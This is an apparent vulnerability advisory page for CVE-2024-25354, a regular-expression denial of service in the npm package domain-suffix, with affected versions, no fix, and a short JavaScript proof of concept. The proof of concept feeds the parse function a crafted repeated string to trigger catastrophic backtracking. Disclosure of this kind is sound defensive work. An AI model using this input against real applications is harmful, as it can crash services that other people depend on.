Open-source package vulnerability · npm
CVE-2024-25354: domain-suffix RegEx Denial of Service
highCVSS 4.0 8.7 · 3.1 7.5GHSA-cqfh-c4c5-c2hg
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function. PoC
Published Mar 28, 2024 · Updated Sep 3, 2025
Affected packages
domain-suffix
- Ecosystem
- npm
- Affected
- <= 1.0.8
- Fixed in
- No patched version yet
- Check
npm ls domain-suffix
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
PoC
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();Credited to dsimk.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
